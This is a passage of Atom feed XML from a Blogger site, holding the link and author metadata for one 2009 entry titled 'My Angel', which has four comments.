href="http://www.riyazwalikar.com/feeds/5542288483259434388/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2009/08/my-angel.html#comment-form" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/5542288483259434388?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/5542288483259434388?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/tmAlUGct4T0/my-angel.html" title="My Angel" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><thr:total>4</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2009/08/my-angel.html</feedburner:origLink></entry></feed>
